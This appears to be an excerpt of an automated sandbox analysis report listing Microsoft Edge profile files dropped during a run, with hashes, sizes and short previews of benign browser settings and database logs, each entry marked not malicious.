SHA-512:	631921FA2B60195FB6DA9F578AC005A859E69DFD5D6393701642419B43E8027CC6E2D05F1614066FC62388232C018FBF232435044B0B0F6B8615B832109A0C64
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13375798819612798","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"22e089c8-6a2d-498a-bb61-323ca0420cde"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731325224"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\972569aa-e89f-45d3-847c-654b5aa234b4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44984
Entropy (8bit):	6.0948290347715925
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xW+Ti1zNtCF9gLpsX/DEwbcKJDSgzMMd6qD47u3+CiB:+/Ps+wsI7yOTFUKtSmd6qE7lFoC
MD5:	66BEA74C99D093CE8323BC97272A0B48
SHA1:	72C298B38FA1FA65DF4EA441A9668BF5517A13AE
SHA-256:	C46AE298AC6414CB752F68C82133729DAF38A6E47696C3EFF14BA17A8A7E96AD
SHA-512:	777A7EF72B0A8CA95A7D7AB3BEEC6C648088A349AE55401B1990DC7352A670BDCA2D83C2E10691A55FAD75E99ACB32A72DFA1E96FB2A3713D6C6B120F032A84C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0376c42f-9d4c-45c2-91aa-e45c91c47be9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17478), with no line terminators
Category:	dropped
Size (bytes):	17479
Entropy (8bit):	5.468146120001392
Encrypted:	false
SSDEEP:	384:stUPGKSu45s6ICD07vC3CptTbGcpQwuw3q:seOxu0IC2vtTbGc6Tmq
MD5:	94ED38A131F24390888FCF1B51B285FB
SHA1:	5F7E5C7CD2FBF27F6ED93995999356D899927CDE
SHA-256:	A5B4CCA90B43860D74307BF3421D7716CBA0FFAC1FDBB66B52027F8655D784A2
SHA-512:	7F492F8347025B570366E74DFDBCD3C3D022965D304F520D9641D6F493F5A3C8FD642F756F4F30149399CFDE72FDC91E4C6BA62F7C10E646012D4DE59B52CF07
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375798819422007","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2f2cd048-c5bb-4d93-aa71-754329f45479.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\36be39c9-ce72-449a-b039-4da8eccabb17.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13822
Entropy (8bit):	5.227213306643122
Encrypted:	false
SSDEEP:	192:stUJ99QTryDigabatSuyp5s6IaFvrE9koc6tNEBm18HbV+Fb4pQwRczUlP7YJ:stUPGKSu45s6ICD+tqbGcpQwuYq
MD5:	3E46FC8FF23582952942BDDD306DD6DF
SHA1:	A8F513EC6922989B5B386A3BC875DC0C3501C390
SHA-256:	4CD1B748540CA24FE5A50E9DE6BE31CF94BADA2F6D4CE8B724614F2D842096A9
SHA-512:	9F2F360132FAE4BE6B8C02B5DCE42FC133A693D550D91EC90FD21C179CD8A78192AB9E2CD7B76DB7D68A759CF7F174C66C3B93DACE0D3C65C9DAE70BE456AF44
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375798819422007","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4a4f5ae1-7eb8-4e6d-a901-2f483def14ff.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17478), with no line terminators
Category:	dropped
Size (bytes):	17479
Entropy (8bit):	5.468164489125633
Encrypted:	false
SSDEEP:	384:stUPGKSu45s6ICD07vC3CptTbGcpQwuo3q:seOxu0IC2vtTbGc6TOq
MD5:	FD6C31CC26456BD1F9F6D01C6DEA8A65
SHA1:	8186EC66BD3ED28D383D72F40F2394B48B1B25CF
SHA-256:	F3180DA335E84D762A10CD938CD60A02ABC3656D7439578064E3CBFD7F0772DD
SHA-512:	D19266EF5651D7C23258C71E790501A9FB47FC2CFEC916837CC4620F55DA151CA67229699D96085A801A18B218326AFF148A29531E287E73163B55484236FB5E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375798819422007","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\63371515-ef15-4dbe-89f0-371fa002e4ad.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16720), with no line terminators
Category:	dropped
Size (bytes):	16721
Entropy (8bit):	5.4286485346618205
Encrypted:	false
SSDEEP:	192:stUJ99QTryDigabatSuyp5s6IaFvrE9koC3tNEBFeKskRG18HbV+Fb4pQwRczUlY:stUPGKSu45s6ICD+C3CptTbGcpQwuYq
MD5:	0EB64133877CD8BAFD8196B2676367F0
SHA1:	2E66189B19AC5C036A5967429B91B57A7D0E5532
SHA-256:	7B2C2FDE0D63FF94733B0F08884FACC03BBBB5D81A5DC15ED8C8F4C15C006903
SHA-512:	4427505D4DF2BE74F15B36E484112F198048A16A076DB245CA429B0A106DB2415ABB28D2BB55BCD35A624A0025C8B4A8D7F887C52FED80176C3ECDF097878E4D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375798819422007","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\85e1641a-f793-4d61-8556-db1cca7ac1d8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36957
Entropy (8bit):	5.563495499545989
Encrypted:	false
SSDEEP:	768:VJnQz8WzvW5wpxf47d8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPqO2FI/88JrwXlZDH:Vde88vWapxfYdu1jajO20d61ZDAWtB
MD5:	C6A53D20E82C15A0177D4BA511968129
SHA1:	3717B2B71458B6B3FE2423C0EA81D72F9A57B46B
SHA-256:	0F10C222386EB1BF81CD17469208029D42A3534DB7112B2D4A342F52D7EC0ED8
SHA-512:	8AB7A89F72CF7D63CDBE7C99C5FAF75BDAA0988BA3D692A7B1DE4FA06DB9DD27E97502D79A503BCBECAD3A58CAB8A3676F9CE46E50DF114C5DAA8DB0CAC8E6B1
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375798818763491","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375798818763491","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222883697368746
Encrypted:	false
SSDEEP:	24576:IbPMZpVdfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVdfx2mjF
MD5:	3E9C03718E36CDE2D872F41086F5A35B
SHA1:	D9C4A68FC7FE6368673C9623C986E209A72A3F64
SHA-256:	2CCE832D2B54B741F9DE9233EE3302E2D79F41995DD6BA0DDDF8D1B1B3C3A5F1
SHA-512:	3B30117074D7E71190FF449276F737CFE7CFDE37CCD5CDCD5FB1D4A87C14DA9200D41D8FBD15C5B0A441D8C6BDD02EA697F3863C7CB0744D6BE4B06A35539262
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	360
Entropy (8bit):	5.192777786595554
Encrypted:	false
SSDEEP:	6:HUzGQQ+q2PN723oH+Tcwt9Eh1tIFUt8YUzfgZmw+YUza3f0PXUzN3fVIKYUzzFIR:+XvVaYeb9Eh16FUt8ZY/+Zac2NeKZ63h
MD5:	83A6602F8BF9095B1AE145ACE6F3FFDB
SHA1:	C00B68ECEAC33BFA79A43DF12A31F4DABCD2DB80
SHA-256:	69DAA9B96D82EF3EE2234078106D37F02880F2813D8C0231B9DBF7C98A8C6384
SHA-512:	C450E64A5C960B07DE8F3999F8C8130CAC24E7D6E8464DB7DD66210E099DE08CA38A3687936616CE81E130B250497D6D4354633489F3DB215BFB88370D056ED2
Malicious:	false
Preview:	2024/11/11-06:43:23.875 14f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/11-06:43:23.877 14f8 Recovering log #3.2024/11/11-06:43:23.902 14f8 Level-0 table #3: started.2024/11/11-06:43:23.958 14f8 Level-0 table #3: 739858 bytes OK.2024/11/11-06:43:23.965 14f8 Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	360
Entropy (8bit):	5.192777786595554
Encrypted:	false
SSDEEP:	6:HUzGQQ+q2PN723oH+Tcwt9Eh1tIFUt8YUzfgZmw+YUza3f0PXUzN3fVIKYUzzFIR:+XvVaYeb9Eh16FUt8ZY/+Zac2NeKZ63h
MD5:	83A6602F8BF9095B1AE145ACE6F3FFDB
SHA1:	C00B68ECEAC33BFA79A43DF12A31F4DABCD2DB80
SHA-256:	69DAA9B96D82EF3EE2234078106D37F02880F2813D8C0231B9DBF7C98A8C6384
SHA-512:	C450E64A5C960B07DE8F3999F8C8130CAC24E7D6E8464DB7DD66210E099DE08CA38A3687936616CE81E130B250497D6D4354633489F3DB215BFB88370D056ED2
Malicious:	false
Preview:	2024/11/11-06:43:23.875 14f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/11-06:43:23.877 14f8 Recovering log #3.2024/11/11-06:43:23.902 14f8 Level-0 table #3: started.2024/11/11-06:43:23.958 14f8 Level-0 table #3: 739858 bytes OK.2024/11/11-06:43:23.965 14f8 Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354126500264476
Encrypted:	false
SSDEEP:	6144:FA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:FFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	9E400E4E7815E982E8D1BA2FF599F32C
SHA1:	C82BA38BC53CAEE52BFBA3D44B1344D375990091
SHA-256:	CA32B42BFBF0B0905C3F639F09874DDEB7F8CCBB906DFB2B2C92904E3D2CDD2D
SHA-512:	50B6490A9280CCDD230D06E55E8B406AA310E7C83055E1E0061CF1347456E9D186C4A80C99F38DF9E5BDA1D8C93C96791BABA90774B72D38345F12BC6441482E
Malicious:	false
Preview:	...m.................DB_VERSION.1..cq...............&QUERY_TIMESTAMP:domains_config_gz2...13375798827724431..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
